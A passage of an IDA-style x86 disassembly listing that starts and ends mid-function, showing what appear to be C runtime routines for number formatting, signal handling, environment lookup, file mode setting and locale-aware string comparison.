		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42139C
		mov	[ebp+arg_C], ecx


loc_42134F:				; CODE XREF: sub_42116E+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_420B7B
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B1D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_42134F
		mov	eax, [ebp+arg_14]


loc_42139C:				; CODE XREF: sub_42116E+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_4213D9


loc_4213A9:				; CODE XREF: sub_42116E+248j
		cmp	eax, ecx
		jb	short loc_4213BC
		cmp	byte ptr [eax],	39h
		jnz	short loc_4213B8
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_4213B8:				; CODE XREF: sub_42116E+242j
		cmp	eax, ecx
		jnb	short loc_4213C0


loc_4213BC:				; CODE XREF: sub_42116E+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_4213C0:				; CODE XREF: sub_42116E+24Cj
		inc	byte ptr [eax]


loc_4213C2:				; CODE XREF: sub_42116E+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_4213D1:				; CODE XREF: sub_42116E+F0j
		mov	eax, [ebp+var_4]


loc_4213D4:				; CODE XREF: sub_42116E+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4213D9:				; CODE XREF: sub_42116E+239j
					; sub_42116E+275j
		cmp	eax, ecx
		jb	short loc_4213E9
		cmp	byte ptr [eax],	30h
		jnz	short loc_4213E5
		dec	eax
		jmp	short loc_4213D9
; ---------------------------------------------------------------------------


loc_4213E5:				; CODE XREF: sub_42116E+272j
		cmp	eax, ecx
		jnb	short loc_4213C2


loc_4213E9:				; CODE XREF: sub_42116E+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_4213F8:				; CODE XREF: sub_42116E+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_4213D4
sub_42116E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421401	proc near		; CODE XREF: sub_41E04C+225Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421468
		dec	eax
		dec	eax
		jz	short loc_421459
		sub	eax, 4
		jz	short loc_421459
		sub	eax, 3
		jz	short loc_421459
		sub	eax, 4
		jz	short loc_42144C
		sub	eax, 6
		jz	short loc_42143F
		dec	eax
		jz	short loc_421432
		or	eax, 0FFFFFFFFh
		jmp	loc_42152A
; ---------------------------------------------------------------------------


loc_421432:				; CODE XREF: sub_421401+27j
		mov	esi, dword_4D89CC
		mov	eax, offset dword_4D89CC
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_42143F:				; CODE XREF: sub_421401+24j
		mov	esi, dword_4D89C8
		mov	eax, offset dword_4D89C8
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_42144C:				; CODE XREF: sub_421401+1Fj
		mov	esi, dword_4D89D0
		mov	eax, offset dword_4D89D0
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_421459:				; CODE XREF: sub_421401+10j
					; sub_421401+15j ...
		push	edi
		call	sub_42152E
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421473
; ---------------------------------------------------------------------------


loc_421468:				; CODE XREF: sub_421401+Cj
		mov	esi, dword_4D89C4
		mov	eax, offset dword_4D89C4


loc_421473:				; CODE XREF: sub_421401+3Cj
					; sub_421401+49j ...
		cmp	esi, 1
		jnz	short loc_42147F
		xor	eax, eax
		jmp	loc_42152A
; ---------------------------------------------------------------------------


loc_42147F:				; CODE XREF: sub_421401+75j
		test	esi, esi
		jnz	short loc_42148A
		push	3
		call	sub_417CD2


loc_42148A:				; CODE XREF: sub_421401+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_42149C
		cmp	edi, 0Bh
		jz	short loc_42149C
		cmp	edi, 4
		jnz	short loc_4214C2


loc_42149C:				; CODE XREF: sub_421401+8Fj
					; sub_421401+94j
		mov	ebx, dword_4D87A4
		and	dword_4D87A4, 0
		cmp	edi, ecx
		jnz	short loc_4214F1
		mov	edx, dword_43B1DC
		mov	dword_43B1DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4214C5
; ---------------------------------------------------------------------------


loc_4214C2:				; CODE XREF: sub_421401+99j
		mov	ebx, [ebp+arg_0]


loc_4214C5:				; CODE XREF: sub_421401+BFj
		cmp	edi, ecx
		jnz	short loc_4214F1
		mov	eax, dword_43B1D0
		mov	ecx, dword_43B1D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_4214F8
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43B160h[edx*4]


loc_4214E6:				; CODE XREF: sub_421401+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_4214E6
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F1:				; CODE XREF: sub_421401+AAj
					; sub_421401+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421506


loc_4214F8:				; CODE XREF: sub_421401+D7j
					; sub_421401+EEj
		push	dword_43B1DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421514
; ---------------------------------------------------------------------------


loc_421506:				; CODE XREF: sub_421401+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421514
		cmp	edi, 4
		jnz	short loc_421527


loc_421514:				; CODE XREF: sub_421401+103j
					; sub_421401+10Cj
		cmp	edi, 8
		mov	dword_4D87A4, ebx
		jnz	short loc_421527
		mov	eax, [ebp+arg_0]
		mov	dword_43B1DC, eax


loc_421527:				; CODE XREF: sub_421401+111j
					; sub_421401+11Cj
		xor	eax, eax
		pop	ebx


loc_42152A:				; CODE XREF: sub_421401+2Cj
					; sub_421401+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421401	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42152E	proc near		; CODE XREF: sub_421401+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B1D8
		cmp	dword_43B15C, edx
		push	esi
		mov	eax, offset dword_43B158
		jz	short loc_42155C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B158h[esi*4]


loc_421550:				; CODE XREF: sub_42152E+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_42155C
		cmp	[eax+4], edx
		jnz	short loc_421550


loc_42155C:				; CODE XREF: sub_42152E+16j
					; sub_42152E+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B158h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421570
		cmp	[eax+4], edx
		jz	short locret_421572


loc_421570:				; CODE XREF: sub_42152E+3Bj
		xor	eax, eax

locret_421572:				; CODE XREF: sub_42152E+40j
		retn
sub_42152E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421573	proc near		; CODE XREF: sub_4202CC+23p

arg_0		= dword	ptr  4

		cmp	dword_4D9D68, 0
		push	ebx
		push	esi
		mov	esi, dword_4D86F8
		push	edi
		jz	short loc_4215EA
		test	esi, esi
		jnz	short loc_4215A4
		cmp	dword_4D8700, esi
		jz	short loc_4215EA
		call	sub_421941
		test	eax, eax
		jnz	short loc_4215EA
		mov	esi, dword_4D86F8
		test	esi, esi
		jz	short loc_4215EA


loc_4215A4:				; CODE XREF: sub_421573+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_4215EA
		push	ebx
		call	sub_4176F0
		pop	ecx
		mov	edi, eax


loc_4215B5:				; CODE XREF: sub_421573+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4215EA
		push	eax
		call	sub_4176F0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_4215DD
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_4215DD
		push	edi
		push	ebx
		push	eax
		call	sub_421902
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4215E2


loc_4215DD:				; CODE XREF: sub_421573+51j
					; sub_421573+59j
		add	esi, 4
		jmp	short loc_4215B5
; ---------------------------------------------------------------------------


loc_4215E2:				; CODE XREF: sub_421573+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_4215EC
; ---------------------------------------------------------------------------


loc_4215EA:				; CODE XREF: sub_421573+10j
					; sub_421573+1Cj ...
		xor	eax, eax


loc_4215EC:				; CODE XREF: sub_421573+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421573	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215F0	proc near		; CODE XREF: sub_4209B6+8Bp
					; sub_4209B6+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4D9B20
		jnb	short loc_421657
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421657
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421630
		and	cl, 7Fh
		jmp	short loc_42163D
; ---------------------------------------------------------------------------


loc_421630:				; CODE XREF: sub_4215F0+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_42164B
		or	cl, 80h


loc_42163D:				; CODE XREF: sub_4215F0+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42164B:				; CODE XREF: sub_4215F0+48j
		mov	dword_4D86D0, 16h
		jmp	short loc_421661
; ---------------------------------------------------------------------------


loc_421657:				; CODE XREF: sub_4215F0+Bj
					; sub_4215F0+27j
		mov	dword_4D86D0, 9


loc_421661:				; CODE XREF: sub_4215F0+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4215F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421666	proc near		; CODE XREF: sub_42116E+165p
					; sub_421886+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_421866
		cmp	cx, 7FFFh
		jnb	loc_421866
		cmp	dx, 0BFFDh
		ja	loc_421866
		cmp	dx, 3FBFh
		ja	short loc_4216CF
		xor	eax, eax
		jmp	short loc_421709
; ---------------------------------------------------------------------------


loc_4216CF:				; CODE XREF: sub_421666+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_4216F1
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_4216F1
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_4216F3
		cmp	[esi], eax
		jnz	short loc_4216F3
		jmp	loc_421860
; ---------------------------------------------------------------------------


loc_4216F1:				; CODE XREF: sub_421666+71j
					; sub_421666+79j
		xor	eax, eax


loc_4216F3:				; CODE XREF: sub_421666+80j
					; sub_421666+84j
		cmp	cx, ax
		jnz	short loc_421716
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421716
		cmp	[ebx+4], eax
		jnz	short loc_421716
		cmp	[ebx], eax
		jnz	short loc_421716


loc_421709:				; CODE XREF: sub_421666+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_421881
; ---------------------------------------------------------------------------


loc_421716:				; CODE XREF: sub_421666+90j
					; sub_421666+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421726:				; CODE XREF: sub_421666+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_42177A
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421742:				; CODE XREF: sub_421666+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42176D
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_42176D:				; CODE XREF: sub_421666+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421742


loc_42177A:				; CODE XREF: sub_421666+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421726
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_4217BD


loc_421798:				; CODE XREF: sub_421666+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_4217B6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420B7B
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421798


loc_4217B6:				; CODE XREF: sub_421666+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4217F6


loc_4217BD:				; CODE XREF: sub_421666+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_4217F6
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_4217D6:				; CODE XREF: sub_421666+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_4217DF
		inc	[ebp+var_14]


loc_4217DF:				; CODE XREF: sub_421666+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BA9
		dec	ebx
		pop	ecx
		jnz	short loc_4217D6
		cmp	[ebp+var_14], 0
		jz	short loc_4217F6
		or	byte ptr [ebp+var_24], 1


loc_4217F6:				; CODE XREF: sub_421666+155j
					; sub_421666+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_42180D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_421842


loc_42180D:				; CODE XREF: sub_421666+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42183F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_42183A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_421834
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421834:				; CODE XREF: sub_421666+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_42183A:				; CODE XREF: sub_421666+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_42183F:				; CODE XREF: sub_421666+1ABj
		inc	[ebp+var_24+2]


loc_421842:				; CODE XREF: sub_421666+1A5j
					; sub_421666+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_421866
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_421860:				; CODE XREF: sub_421666+86j
		mov	[esi+0Ah], ax
		jmp	short loc_421881
; ---------------------------------------------------------------------------


loc_421866:				; CODE XREF: sub_421666+42j
					; sub_421666+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_421881:				; CODE XREF: sub_421666+ABj
					; sub_421666+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421666	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421886	proc near		; CODE XREF: sub_420C9D+440p
					; sub_42116E+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43B658
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4218FF
		jge	short loc_4218AE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B7B8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4218AE:				; CODE XREF: sub_421886+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4218B9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4218B9:				; CODE XREF: sub_421886+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4218FF
		push	esi
		push	edi


loc_4218C0:				; CODE XREF: sub_421886+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_4218F8
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_4218EB
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_4218EB:				; CODE XREF: sub_421886+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421666
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_4218F8:				; CODE XREF: sub_421886+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4218C0
		pop	edi
		pop	esi


loc_4218FF:				; CODE XREF: sub_421886+14j
					; sub_421886+36j
		pop	ebx
		leave
		retn
sub_421886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421902	proc near		; CODE XREF: sub_421573+5Ep
					; sub_421DB3+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42190F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42190F:				; CODE XREF: sub_421902+7j
		push	dword_4D9B24
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4D9D44
		call	sub_4219AF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42193C
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42193C:				; CODE XREF: sub_421902+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_421902	endp


; =============== S U B	R O U T	I N E =======================================



sub_421941	proc near		; CODE XREF: sub_421573+1Ep
					; sub_421C2C+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4D8700
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4219A2
		mov	ebx, dword_423160


loc_42195A:				; CODE XREF: sub_421941+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4219AA
		push	ebp
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4219AA
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4219AA
		push	edi
		push	[esp+18h+var_4]
		call	sub_421C2C
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_42195A


loc_4219A2:				; CODE XREF: sub_421941+11j
		xor	eax, eax


loc_4219A4:				; CODE XREF: sub_421941+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4219AA:				; CODE XREF: sub_421941+29j
					; sub_421941+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4219A4
sub_421941	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219AF	proc near		; CODE XREF: sub_421902+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423CB0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4D89D8, ebx
		push	1
		pop	edi
		jnz	short loc_421A22
		push	edi
		mov	eax, offset dword_423900
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_423008	; CompareStringW
		test	eax, eax
		jz	short loc_4219FF
		mov	dword_4D89D8, edi
		jmp	short loc_421A22
; ---------------------------------------------------------------------------


loc_4219FF:				; CODE XREF: sub_4219AF+46j
		push	edi
		mov	eax, offset dword_4C96C8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42300C	; CompareStringA
		test	eax, eax
		jz	loc_421C18
		mov	dword_4D89D8, 2


loc_421A22:				; CODE XREF: sub_4219AF+31j
					; sub_4219AF+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_421A39
		push	esi
		push	[ebp+arg_8]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_421A39:				; CODE XREF: sub_4219AF+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_421A4E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_421A4E:				; CODE XREF: sub_4219AF+8Dj
		mov	eax, dword_4D89D8
		cmp	eax, 2
		jnz	short loc_421A73
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42300C	; CompareStringA
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421A73:				; CODE XREF: sub_4219AF+A7j
		cmp	eax, edi
		jnz	loc_421C18
		cmp	[ebp+arg_18], ebx
		jnz	short loc_421A88
		mov	eax, dword_4D8798
		mov	[ebp+arg_18], eax


loc_421A88:				; CODE XREF: sub_4219AF+CFj
		cmp	esi, ebx
		jz	short loc_421A95
		cmp	[ebp+arg_14], ebx
		jnz	loc_421B2D


loc_421A95:				; CODE XREF: sub_4219AF+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_421AA2


loc_421A9A:				; CODE XREF: sub_4219AF+13Cj
					; sub_4219AF+16Dj
		push	2


loc_421A9C:				; CODE XREF: sub_4219AF+146j
		pop	eax
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421AA2:				; CODE XREF: sub_4219AF+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_421AAE


loc_421AA7:				; CODE XREF: sub_4219AF+151j
					; sub_4219AF+159j ...
		mov	eax, edi
		jmp	loc_421C1A
; ---------------------------------------------------------------------------


loc_421AAE:				; CODE XREF: sub_4219AF+F6j
		cmp	esi, edi
		jg	short loc_421AF3
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4231B0	; GetCPInfo
		test	eax, eax
		jz	loc_421C18
		cmp	esi, ebx
		jle	short loc_421AF7
		cmp	[ebp+var_3C], 2
		jb	short loc_421AF3
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_421AF3


loc_421AD9:				; CODE XREF: sub_4219AF+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_421AF3
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_421AED
		cmp	cl, dl
		jbe	short loc_421A9A


loc_421AED:				; CODE XREF: sub_4219AF+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_421AD9


loc_421AF3:				; CODE XREF: sub_4219AF+101j
					; sub_4219AF+120j ...
		push	3
		jmp	short loc_421A9C
; ---------------------------------------------------------------------------


loc_421AF7:				; CODE XREF: sub_4219AF+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_421B2D
		cmp	[ebp+var_3C], 2
		jb	short loc_421AA7
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_421AA7


loc_421B0A:				; CODE XREF: sub_4219AF+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_421AA7
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_421B22
		cmp	cl, dl
		jbe	loc_421A9A


loc_421B22:				; CODE XREF: sub_4219AF+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_421B0A
		jmp	loc_421AA7
; ---------------------------------------------------------------------------


loc_421B2D:				; CODE XREF: sub_4219AF+E0j
					; sub_4219AF+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_421C18
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421B7C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_421B7C:				; CODE XREF: sub_4219AF+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_421C18
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_423164
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_421C18
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_421C18
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421BE7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
